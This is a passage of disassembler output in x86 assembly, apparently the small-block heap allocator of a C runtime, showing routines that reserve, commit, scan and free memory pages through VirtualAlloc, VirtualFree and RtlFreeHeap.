[ebp+var_4] mov [eax+10h], ecx mov edx, [ebp+var_4] add edx, 400000h mov eax, [ebp+var_C] mov [eax+14h], edx mov ecx, [ebp+var_C] add ecx, 18h mov edx, [ebp+var_C] mov [edx+8], ecx mov eax, [ebp+var_C] add eax, 98h mov ecx, [ebp+var_C] mov [ecx+0Ch], eax mov [ebp+var_8], 0 jmp short loc_41E868 ; --------------------------------------------------------------------------- loc_41E85F: ; CODE XREF: sub_41E750+153j mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_41E868: ; CODE XREF: sub_41E750+10Dj cmp [ebp+var_8], 400h jge short loc_41E8A5 cmp [ebp+var_8], 10h jge short loc_41E887 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov dword ptr [ecx+eax*8+18h], 0F0h jmp short loc_41E895 ; --------------------------------------------------------------------------- loc_41E887: ; CODE XREF: sub_41E750+125j mov edx, [ebp+var_8] mov eax, [ebp+var_C] mov dword ptr [eax+edx*8+18h], 0FFFFFFFFh loc_41E895: ; CODE XREF: sub_41E750+135j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*8+1Ch], 0F1h jmp short loc_41E85F ; --------------------------------------------------------------------------- loc_41E8A5: ; CODE XREF: sub_41E750+11Fj push 10000h push 0 mov eax, [ebp+var_4] push eax call sub_417700 add esp, 0Ch loc_41E8B8: ; CODE XREF: sub_41E750+1A4j mov ecx, [ebp+var_C] mov edx, [ecx+10h] add edx, 10000h cmp [ebp+var_4], edx jnb short loc_41E8F6 mov eax, [ebp+var_4] add eax, 8 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0F0h mov eax, [ebp+var_4] mov byte ptr [eax+0F8h], 0FFh mov ecx, [ebp+var_4] add ecx, 1000h mov [ebp+var_4], ecx jmp short loc_41E8B8 ; --------------------------------------------------------------------------- loc_41E8F6: ; CODE XREF: sub_41E750+177j mov eax, [ebp+var_C] jmp short loc_41E92A ; --------------------------------------------------------------------------- loc_41E8FB: ; CODE XREF: sub_41E750+74j push 8000h push 0 mov edx, [ebp+var_4] push edx call dword_4E0484 ; VirtualFree loc_41E90C: ; CODE XREF: sub_41E750+56j cmp [ebp+var_C], offset off_445248 jz short loc_41E928 mov eax, [ebp+var_C] push eax push 0 mov ecx, dword_4DE648 push ecx call dword_4E0480 ; RtlFreeHeap loc_41E928: ; CODE XREF: sub_41E750+1C3j xor eax, eax loc_41E92A: ; CODE XREF: sub_41E750+36j ; sub_41E750+1A9j mov esp, ebp pop ebp retn sub_41E750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E930 proc near ; CODE XREF: sub_41E9B0+136p arg_0 = dword ptr 8 push ebp mov ebp, esp push 8000h push 0 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call dword_4E0484 ; VirtualFree mov edx, off_447268 cmp edx, [ebp+arg_0] jnz short loc_41E95E mov eax, [ebp+arg_0] mov ecx, [eax+4] mov off_447268, ecx loc_41E95E: ; CODE XREF: sub_41E930+20j cmp [ebp+arg_0], offset off_445248 jz short loc_41E997 mov edx, [ebp+arg_0] mov eax, [edx+4] mov ecx, [ebp+arg_0] mov edx, [ecx] mov [eax], edx mov eax, [ebp+arg_0] mov ecx, [eax] mov edx, [ebp+arg_0] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_4DE648 push edx call dword_4E0480 ; RtlFreeHeap jmp short loc_41E9A1 ; --------------------------------------------------------------------------- loc_41E997: ; CODE XREF: sub_41E930+35j mov dword_445258, 0FFFFFFFFh loc_41E9A1: ; CODE XREF: sub_41E930+65j pop ebp retn sub_41E930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E9B0 proc near ; CODE XREF: sub_41EBA0+60p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, off_44524C mov [ebp+var_14], eax loc_41E9BE: ; CODE XREF: sub_41E9B0+14Dj mov ecx, [ebp+var_14] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_41EAEE mov [ebp+var_C], 3FFh mov [ebp+var_10], 0 mov edx, [ebp+var_C] mov eax, [ebp+var_14] lea ecx, [eax+edx*8+18h] mov [ebp+var_4], ecx jmp short loc_41E9FA ; --------------------------------------------------------------------------- loc_41E9E8: ; CODE XREF: sub_41E9B0:loc_41EA7Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx mov eax, [ebp+var_4] sub eax, 8 mov [ebp+var_4], eax loc_41E9FA: ; CODE XREF: sub_41E9B0+36j cmp [ebp+var_C], 0 jl loc_41EA84 mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0F0h jnz short loc_41EA7F push 4000h push 1000h mov edx, [ebp+var_C] shl edx, 0Ch mov eax, [ebp+var_14] mov ecx, [eax+10h] add ecx, edx push ecx call dword_4E0484 ; VirtualFree test eax, eax jz short loc_41EA7F mov edx, [ebp+var_4] mov dword ptr [edx], 0FFFFFFFFh mov eax, dword_4DE050 sub eax, 1 mov dword_4DE050, eax mov ecx, [ebp+var_14] cmp dword ptr [ecx+0Ch], 0 jz short loc_41EA5C mov edx, [ebp+var_14] mov eax, [edx+0Ch] cmp eax, [ebp+var_4] jbe short loc_41EA65 loc_41EA5C: ; CODE XREF: sub_41E9B0+9Fj mov ecx, [ebp+var_14] mov edx, [ebp+var_4] mov [ecx+0Ch], edx loc_41EA65: ; CODE XREF: sub_41E9B0+AAj mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+arg_0] sub ecx, 1 mov [ebp+arg_0], ecx cmp [ebp+arg_0], 0 jnz short loc_41EA7F jmp short loc_41EA84 ; --------------------------------------------------------------------------- loc_41EA7F: ; CODE XREF: sub_41E9B0+5Dj ; sub_41E9B0+80j ... jmp loc_41E9E8 ; --------------------------------------------------------------------------- loc_41EA84: ; CODE XREF: sub_41E9B0+4Ej ; sub_41E9B0+CDj mov edx, [ebp+var_14] mov [ebp+var_8], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov [ebp+var_14], ecx cmp [ebp+var_10], 0 jz short loc_41EAEE mov edx, [ebp+var_8] cmp dword ptr [edx+18h], 0FFFFFFFFh jnz short loc_41EAEE mov [ebp+var_C], 1 mov eax, [ebp+var_8] add eax, 20h mov [ebp+var_4], eax jmp short loc_41EAC6 ; --------------------------------------------------------------------------- loc_41EAB4: ; CODE XREF: sub_41E9B0+127j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 8 mov [ebp+var_4], edx loc_41EAC6: ; CODE XREF: sub_41E9B0+102j cmp [ebp+var_C], 400h jge short loc_41EAD9 mov eax, [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EAD9 jmp short loc_41EAB4 ; --------------------------------------------------------------------------- loc_41EAD9: ; CODE XREF: sub_41E9B0+11Dj ; sub_41E9B0+125j cmp [ebp+var_C], 400h jnz short loc_41EAEE mov ecx, [ebp+var_8] push ecx call sub_41E930 add esp, 4 loc_41EAEE: ; CODE XREF: sub_41E9B0+15j ; sub_41E9B0+E7j ... mov edx, [ebp+var_14] cmp edx, off_44524C jz short loc_41EB03 cmp [ebp+arg_0], 0 jg loc_41E9BE loc_41EB03: ; CODE XREF: sub_41E9B0+147j mov esp, ebp pop ebp retn sub_41E9B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_416900+B6p ; sub_41C020+12Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], offset off_445248 loc_41EB1D: ; CODE XREF: sub_41EB10+88j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, [eax+10h] jbe short loc_41EB89 mov edx, [ebp+var_8] mov eax, [ebp+arg_0] cmp eax, [edx+14h] jnb short loc_41EB89 mov ecx, [ebp+arg_0] and ecx, 0Fh test ecx, ecx jnz short loc_41EB85 mov edx, [ebp+arg_0] and edx, 0FFFh xor eax, eax add eax, 100h cmp edx, eax jb short loc_41EB85 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx], edx mov eax, [ebp+arg_0] and eax, 0FFFFF000h mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_4] add eax, 100h mov ecx, [ebp+arg_0] sub ecx, eax sar ecx, 4 mov edx, [ebp+var_4] lea eax, [edx+ecx+8] jmp short loc_41EB9C ; --------------------------------------------------------------------------- loc_41EB85: ; CODE XREF: sub_41EB10+2Bj ; sub_41EB10+3Fj xor eax, eax jmp short loc_41EB9C ; --------------------------------------------------------------------------- loc_41EB89: ; CODE XREF: sub_41EB10+16j ; sub_41EB10+21j mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_8], ecx cmp [ebp+var_8], offset off_445248 jnz short loc_41EB1D xor eax, eax loc_41EB9C: ; CODE XREF: sub_41EB10+73j ; sub_41EB10+77j mov esp, ebp pop ebp retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EBA0 proc near ; CODE XREF: sub_41C230+340p ; sub_41C230+3ADp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch mov edx, [ebp+arg_0] lea eax, [edx+ecx*8+18h] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_4] mov ecx, [eax] add ecx, edx mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+arg_8] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0F1h mov edx, [ebp+var_4] cmp dword ptr [edx], 0F0h jnz short loc_41EC08 mov eax, dword_4DE050 add eax, 1 mov dword_4DE050, eax cmp dword_4DE050, 20h jnz short loc_41EC08 push 10h call sub_41E9B0 add esp, 4 loc_41EC08: ; CODE XREF: sub_41EBA0+46j ; sub_41EBA0+5Cj mov esp, ebp pop ebp retn sub_41EBA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC10 proc near ; CODE XREF: sub_41BEC0+CEp ; sub_41C230+2ECp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov eax, off_447268 mov [ebp+var_20], eax loc_41EC1E: ; CODE XREF: sub_41EC10+188j mov ecx, [ebp+var_20] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_41ED87 mov edx, [ebp+var_20] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_20] add ecx, 2018h mov [ebp+var_10], ecx mov edx, [ebp+var_20] add edx, 18h mov eax, [ebp+var_4] sub eax, edx sar eax, 3 shl eax, 0Ch mov ecx, [ebp+var_20] mov edx, [ecx+10h] add edx, eax mov [ebp+var_8], edx jmp short loc_41EC73 ; --------------------------------------------------------------------------- loc_41EC5E: ; CODE XREF: sub_41EC10:loc_41ECDFj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, 1000h mov [ebp+var_8], ecx loc_41EC73: ; CODE XREF: sub_41EC10+4Cj mov edx, [ebp+var_4] cmp edx, [ebp+var_10] jnb short loc_41ECE4 mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_0] jl short loc_41ECDF mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jbe short loc_41ECDF mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_41EFD0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_41ECD6 mov edx, [ebp+var_20] mov off_447268, edx mov eax, [ebp+var_4] mov ecx, [eax] sub ecx, [ebp+arg_0] mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+var_20] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_C] jmp loc_41EFC4 ; --------------------------------------------------------------------------- loc_41ECD6: ; CODE XREF: sub_41EC10+9Dj mov edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [edx+4], eax loc_41ECDF: ; CODE XREF: sub_41EC10+73j ; sub_41EC10+7Ej jmp loc_41EC5E ; --------------------------------------------------------------------------- loc_41ECE4: ; CODE XREF: sub_41EC10+69j mov ecx, [ebp+var_20] add ecx, 18h mov [ebp+var_4], ecx mov edx, [ebp+var_20] mov eax, [edx+8] mov [ebp+var_10], eax mov ecx, [ebp+var_20] mov edx, [ecx+10h] mov [ebp+var_8], edx jmp short loc_41ED16 ; --------------------------------------------------------------------------- loc_41ED01: ; CODE XREF: sub_41EC10:loc_41ED82j mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, 1000h mov [ebp+var_8], ecx loc_41ED16: ; CODE XREF: sub_41EC10+EFj mov edx, [ebp+var_4] cmp edx, [ebp+var_10] jnb short loc_41ED87 mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_0] jl short loc_41ED82 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jbe short loc_41ED82 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_41EFD0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_41ED79 mov edx, [ebp+var_20] mov off_447268, edx mov eax, [ebp+var_4] mov ecx, [eax] sub ecx, [ebp+arg_0] mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+var_20] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_C] jmp loc_41EFC4 ; --------------------------------------------------------------------------- loc_41ED79: ; CODE XREF: sub_41EC10+140j mov edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [edx+4], eax loc_41ED82: ; CODE XREF: sub_41EC10+116j ; sub_41EC10+121j jmp loc_41ED01 ; --------------------------------------------------------------------------- loc_41ED87: ; CODE XREF: sub_41EC10+15j ; sub_41EC10+10Cj mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp eax, off_447268 jnz loc_41EC1E mov [ebp+var_20], offset off_445248 loc_41EDA5: ; CODE XREF: sub_41EC10+346j mov ecx, [ebp+var_20] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_41EF47 mov edx, [ebp+var_20] cmp dword ptr [edx+0Ch], 0 jz loc_41EF47 mov eax, [ebp+var_20] mov ecx, [eax+0Ch] mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 18h mov eax, [ebp+var_4] sub eax, edx sar eax, 3 shl eax, 0Ch mov ecx, [ebp+var_20] mov edx, [ecx+10h] add edx, eax mov [ebp+var_8], edx mov [ebp+var_14], 0 mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_41EE05 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: sub_41EC10+203j mov ecx, [ebp+var_10] add ecx, 8 mov [ebp+var_10], ecx mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_41EE05: ; CODE XREF: sub_41EC10+1E1j mov eax, [ebp+var_10] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EE15 cmp [ebp+var_14], 10h jge short loc_41EE15 jmp short loc_41EDF3 ; --------------------------------------------------------------------------- loc_41EE15: ; CODE XREF: sub_41EC10+1FBj ; sub_41EC10+201j push 4 push 1000h mov ecx, [ebp+var_14] shl ecx, 0Ch push ecx mov edx, [ebp+var_8] push edx call dword_4E0488 ; VirtualAlloc cmp eax, [ebp+var_8] jnz loc_41EF43 push 0 mov eax, [ebp+var_14] shl eax, 0Ch push eax mov ecx, [ebp+var_8] push ecx call sub_417700 add esp, 0Ch mov [ebp+var_18], 0 mov edx, [ebp+var_8] mov [ebp+var_1C], edx mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_41EE7E ; --------------------------------------------------------------------------- loc_41EE60: ; CODE XREF: sub_41EC10+2A8j mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+var_1C] add edx, 1000h mov [ebp+var_1C], edx mov eax, [ebp+var_10] add eax, 8 mov [ebp+var_10], eax loc_41EE7E: ; CODE XREF: sub_41EC10+24Ej mov ecx, [ebp+var_18] cmp ecx, [ebp+var_14] jge short loc_41EEBA mov edx, [ebp+var_1C] add edx, 8 mov eax, [ebp+var_1C] mov [eax], edx mov ecx, [ebp+var_1C] mov dword ptr [ecx+4], 0F0h mov edx, [ebp+var_1C] mov byte ptr [edx+0F8h], 0FFh mov eax, [ebp+var_10] mov dword ptr [eax], 0F0h mov ecx, [ebp+var_10] mov dword ptr [ecx+4], 0F1h jmp short loc_41EE60 ; --------------------------------------------------------------------------- loc_41EEBA: ; CODE XREF: sub_41EC10+274j mov edx, [ebp+var_20] mov off_447268, edx loc_41EEC3: ; CODE XREF: sub_41EC10+2D1j mov eax, [ebp+var_20] add eax, 2018h cmp [ebp+var_10], eax jnb short loc_41EEE3 mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EEE3 mov edx, [ebp+var_10] add edx, 8 mov [ebp+var_10], edx jmp short loc_41EEC3 ; --------------------------------------------------------------------------- loc_41EEE3: ; CODE XREF: sub_41EC10+2BEj ; sub_41EC10+2C6j mov eax, [ebp+var_20] add eax, 2018h cmp [ebp+var_10], eax sbb ecx, ecx and ecx, [ebp+var_10] mov edx, [ebp+var_20] mov [edx+0Ch], ecx mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_0] mov [eax+8], cl mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov [edx+8], eax mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] lea eax, [edx+ecx+8] mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] mov eax, [edx+4] sub eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [ecx+4], eax mov eax, [ebp+var_8] add eax, 100h jmp loc_41EFC4 ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EC10+220j xor eax, eax jmp short loc_41EFC4 ; --------------------------------------------------------------------------- loc_41EF47: ; CODE XREF: sub_41EC10+19Cj ; sub_41EC10+1A9j mov edx, [ebp+var_20] mov eax, [edx] mov [ebp+var_20], eax cmp [ebp+var_20], offset off_445248 jnz loc_41EDA5 call sub_41E750 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_41EFC2 mov ecx, [ebp+var_20] mov edx, [ecx+10h] mov [ebp+var_8], edx mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_0] mov [eax+8], cl mov edx, [ebp+var_20] mov off_447268, edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] lea edx, [ecx+eax+8] mov eax, [ebp+var_8] mov [eax], edx mov ecx, 0F0h sub ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [edx+4], ecx mov eax, [ebp+arg_0] and eax, 0FFh mov ecx, [ebp+var_20] mov edx, [ecx+18h] sub edx, eax mov eax, [ebp+var_20] mov [eax+18h], edx mov eax, [ebp+var_8] add eax, 100h jmp short loc_41EFC4 ; --------------------------------------------------------------------------- loc_41EFC2: ; CODE XREF: sub_41EC10+358j xor eax, eax loc_41EFC4: ; CODE XREF: sub_41EC10+C1j ; sub_41EC10+164j ... mov esp, ebp pop ebp retn sub_41EC10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EFD0 proc near ; CODE XREF: sub_41EC10+8Ep ; sub_41EC10+131p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] add eax, 0F8h mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] cmp edx, [ebp+arg_8] jb short loc_41F05D mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_8] mov [eax], cl mov edx, [ebp+var_8] add edx, [ebp+arg_8] cmp edx, [ebp+var_14] jnb short loc_41F02B mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx+4], ecx jmp short loc_41F040 ; --------------------------------------------------------------------------- loc_41F02B: ; CODE XREF: sub_41EFD0+3Bj mov eax, [ebp+arg_0] add eax, 8 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 loc_41F040: ; CODE XREF: sub_41EFD0+59j mov eax, [ebp+arg_0] add eax, 8 mov ecx, [ebp+var_8] sub ecx, eax shl ecx, 4 mov edx, [ebp+arg_0] lea eax, [edx+ecx+100h] jmp loc_41F275 ; --------------------------------------------------------------------------- loc_41F05D: ; CODE XREF: sub_41EFD0+28j mov eax, [ebp+arg_0] mov ecx, [eax+4] mov edx, [ebp+var_8] xor eax, eax mov al, [edx+ecx] test eax, eax jz short loc_41F07B mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] add edx, [ecx+4] mov [ebp+var_8], edx loc_41F07B: ; CODE XREF: sub_41EFD0+9Dj ; sub_41EFD0:loc_41F174j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb loc_41F179 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] test edx, edx jnz loc_41F165 mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_C], eax mov [ebp+var_10], 1 jmp short loc_41F0BD ; --------------------------------------------------------------------------- loc_41F0AB: ; CODE XREF: sub_41EFD0+F8j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_41F0BD: ; CODE XREF: sub_41EFD0+D9j mov eax, [ebp+var_C] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_41F0CA jmp short loc_41F0AB ; --------------------------------------------------------------------------- loc_41F0CA: ; CODE XREF: sub_41EFD0+F6j mov edx, [ebp+var_10] cmp edx, [ebp+arg_8] jnb short loc_41F105 mov eax, [ebp+var_8] cmp eax, [ebp+var_4] jnz short loc_41F0E5 mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+4], edx jmp short loc_41F0FD ; --------------------------------------------------------------------------- loc_41F0E5: ; CODE XREF: sub_41EFD0+108j mov eax, [ebp+arg_4] sub eax, [ebp+var_10] mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41F0FD xor eax, eax jmp loc_41F275 ; --------------------------------------------------------------------------- loc_41F0FD: ; CODE XREF: sub_41EFD0+113j ; sub_41EFD0+124j mov edx, [ebp+var_C] mov [ebp+var_8], edx jmp short loc_41F163 ; --------------------------------------------------------------------------- loc_41F105: ; CODE XREF: sub_41EFD0+100j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb short loc_41F129 mov ecx, [ebp+var_8] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+var_10] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax jmp short loc_41F13E ; --------------------------------------------------------------------------- loc_41F129: ; CODE XREF: sub_41EFD0+13Ej mov edx, [ebp+arg_0] add edx, 8 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 loc_41F13E: ; CODE XREF: sub_41EFD0+157j mov edx, [ebp+var_8] mov al, byte ptr [ebp+arg_8] mov [edx], al mov ecx, [ebp+arg_0] add ecx, 8 mov edx, [ebp+var_8] sub edx, ecx shl edx, 4 mov eax, [ebp+arg_0] lea eax, [eax+edx+100h] jmp loc_41F275 ; --------------------------------------------------------------------------- loc_41F163: ; CODE XREF: sub_41EFD0+133j jmp short loc_41F174 ; --------------------------------------------------------------------------- loc_41F165: ; CODE XREF: sub_41EFD0+C3j mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_41F174: ; CODE XREF: sub_41EFD0:loc_41F163j jmp loc_41F07B ; --------------------------------------------------------------------------- loc_41F179: ; CODE XREF: sub_41EFD0+B4j mov ecx, [ebp+arg_0] add ecx, 8 mov [ebp+var_8], ecx loc_41F182: ; CODE XREF: sub_41EFD0:loc_41F26Ej mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jnb loc_41F273 mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb loc_41F273 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] test edx, edx jnz loc_41F25F mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_C], eax mov [ebp+var_10], 1 jmp short loc_41F1D0 ; --------------------------------------------------------------------------- loc_41F1BE: ; CODE XREF: sub_41EFD0+20Bj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_41F1D0: ; CODE XREF: sub_41EFD0+1ECj mov eax, [ebp+var_C] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_41F1DD jmp short loc_41F1BE ; --------------------------------------------------------------------------- loc_41F1DD: ; CODE XREF: sub_41EFD0+209j mov edx, [ebp+var_10] cmp edx, [ebp+arg_8] jnb short loc_41F202 mov eax, [ebp+arg_4] sub eax, [ebp+var_10] mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41F1FA xor eax, eax jmp short loc_41F275 ; --------------------------------------------------------------------------- loc_41F1FA: ; CODE XREF: sub_41EFD0+224j mov edx, [ebp+var_C] mov [ebp+var_8], edx jmp short loc_41F25D ; --------------------------------------------------------------------------- loc_41F202: ; CODE XREF: sub_41EFD0+213j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb short loc_41F226 mov ecx, [ebp+var_8] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+var_10] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax jmp short loc_41F23B ; --------------------------------------------------------------------------- loc_41F226: ; CODE XREF: sub_41EFD0+23Bj mov edx, [ebp+arg_0] add edx, 8 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 loc_41F23B: ; CODE XREF: sub_41EFD0+254j mov edx, [ebp+var_8] mov al, byte ptr [ebp+arg_8] mov [edx], al mov ecx, [ebp+arg_0] add ecx, 8 mov edx, [ebp+var_8] sub edx, ecx shl edx, 4 mov eax, [ebp+arg_0] lea eax, [eax+edx+100h] jmp short loc_41F275 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41EFD0+230j jmp short loc_41F26E ; --------------------------------------------------------------------------- loc_41F25F: ; CODE XREF: sub_41EFD0+1D6j mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_41F26E: ; CODE XREF: sub_41EFD0:loc_41F25Dj jmp loc_41F182 ; --------------------------------------------------------------------------- loc_41F273: ; CODE XREF: sub_41EFD0+1B8j ; sub_41EFD0+1C7j xor eax, eax loc_41F275: ; CODE XREF: sub_41EFD0+88j ; sub_41EFD0+128j ... mov esp, ebp pop ebp retn sub_41EFD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F280 proc near ; CODE XREF: sub_41C020+161p ; sub_41C230+2D1p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch mov edx, [ebp+arg_0] lea eax, [edx+ecx*8+18h] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] xor edx, 